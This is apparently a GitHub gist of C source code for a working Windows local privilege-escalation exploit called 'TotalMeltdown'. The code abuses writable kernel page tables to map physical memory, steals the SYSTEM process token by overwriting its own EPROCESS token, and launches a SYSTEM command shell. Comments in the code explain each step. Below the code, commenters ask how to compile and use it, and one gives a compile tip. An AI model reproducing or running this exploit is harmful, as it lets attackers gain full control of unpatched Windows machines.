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@xpn
Created April 24, 2018 00:37
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#include "stdafx.h"
#define PML4_BASE 0xFFFFF6FB7DBED000
#define PDP_BASE 0xFFFFF6FB7DA00000
#define PD_BASE 0xFFFFF6FB40000000
#define PT_BASE 0xFFFFF68000000000
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
#pragma pack(push,4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
UCHAR Type;
UCHAR ShareDisposition;
USHORT Flags;
union {
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Generic;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Port;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Interrupt;
struct {
union {
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Group;
#else
USHORT Reserved;
#endif
USHORT MessageCount;
ULONG Vector;
KAFFINITY Affinity;
} Raw;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Translated;
} DUMMYUNIONNAME;
} MessageInterrupt;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Memory;
struct {
ULONG Channel;
ULONG Port;
ULONG Reserved1;
} Dma;
struct {
ULONG Channel;
ULONG RequestLine;
UCHAR TransferWidth;
UCHAR Reserved1;
UCHAR Reserved2;
UCHAR Reserved3;
} DmaV3;
struct {
ULONG Data[3];
} DevicePrivate;
struct {
ULONG Start;
ULONG Length;
ULONG Reserved;
} BusNumber;
struct {
ULONG DataSize;
ULONG Reserved1;
ULONG Reserved2;
} DeviceSpecificData;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length40;
} Memory40;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length48;
} Memory48;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length64;
} Memory64;
struct {
UCHAR Class;
UCHAR Type;
UCHAR Reserved1;
UCHAR Reserved2;
ULONG IdLowPart;
ULONG IdHighPart;
} Connection;
} u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop,4)
typedef enum _INTERFACE_TYPE {
InterfaceTypeUndefined,
Internal,
Isa,
Eisa,
MicroChannel,
TurboChannel,
PCIBus,
VMEBus,
NuBus,
PCMCIABus,
CBus,
MPIBus,
MPSABus,
ProcessorInternal,
InternalPowerBus,
PNPISABus,
PNPBus,
Vmcs,
ACPIBus,
MaximumInterfaceType
} INTERFACE_TYPE, *PINTERFACE_TYPE;
typedef struct _CM_PARTIAL_RESOURCE_LIST {
USHORT Version;
USHORT Revision;
ULONG Count;
CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;
typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
INTERFACE_TYPE InterfaceType;
ULONG BusNumber;
CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;
typedef struct _CM_RESOURCE_LIST {
ULONG Count;
CM_FULL_RESOURCE_DESCRIPTOR List[1];
} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;
struct memory_region {
ULONG64 size;
ULONG64 address;
};
// Very hack'y way of trying to map out physical memory regions to try and reduce
// risk of BSOD
DWORD parse_memory_map(struct memory_region *regions) {
HKEY hKey = NULL;
LPTSTR pszSubKey = L"Hardware\\ResourceMap\\System Resources\\Physical Memory";
LPTSTR pszValueName = L".Translated";
LPBYTE lpData = NULL;
DWORD dwLength = 0, count = 0, type = 0;;
if (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)
{
printf("[*] Could not get reg key\n");
return 0;
}
if (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)
{
printf("[*] Could not query hardware key\n");
return 0;
}
lpData = (LPBYTE)malloc(dwLength);
RegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);
CM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;
for (int i = 0; i < resource_list->Count; i++) {
for (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {
if (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {
regions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
regions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
regions++;
count++;
}
}
}
return count;
}
int main()
{
printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
printf(" paging code by @UlfFrisk\n\n");
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
DWORD count;
// Parse registry for physical memory regions
printf("[*] Getting physical memory regions from registry\n");
struct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);
count = parse_memory_map(regions);
if (count == 0) {
printf("[X] Could not find physical memory region, quitting\n");
return 2;
}
for (int i = 0; i < count; i++) {
printf("[*] Phyiscal memory region found: %p - %p\n", regions[i].address, regions[i].address + regions[i].size);
}
// Check for vulnerability
__try {
int test = *(unsigned long long *)PML4_BASE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Could not access PML4 address, system likely not vulnerable\n");
return 2;
}
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
// Here, the PDPT table is referenced via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("\n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");
#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memory\n");
for (int j = 0; j < count; j++) {
printf("[*] Trying physical region %p - %p\n", regions[j].address, regions[j].address + regions[j].size);
for (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...\n\n");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
"C:\\windows\\system32",
&si,
&pi);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSOD\n");
return 2;
}
}
}
return 0;
}
@Ckmount
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Ckmount commented Apr 24, 2018

hi,How did you compile this program? I always fail to compiled.

@Spr1ngBr0ther
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I encountered the same problem,Could you tell me how to use it ?thx

@0x410c
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0x410c commented Apr 24, 2018

it is compiling properly but there is a readacess violation, when finding free pml4 directory

@manasmbellani
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I have been able to compile the program utilizing Visual Studio 2010. You do need to include the following extra library before compiling to ensure that type name definitions for types such as UCHAR are available in the project:

# include "windows.h"

@mjpradeepraj
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Where do i get the precompiled header stdafx.h?

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ghost commented May 29, 2018

@Addtree
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Addtree commented Oct 8, 2018

My system info is windows 7 homebasic 6.1.7600
Has been not updated,test failed

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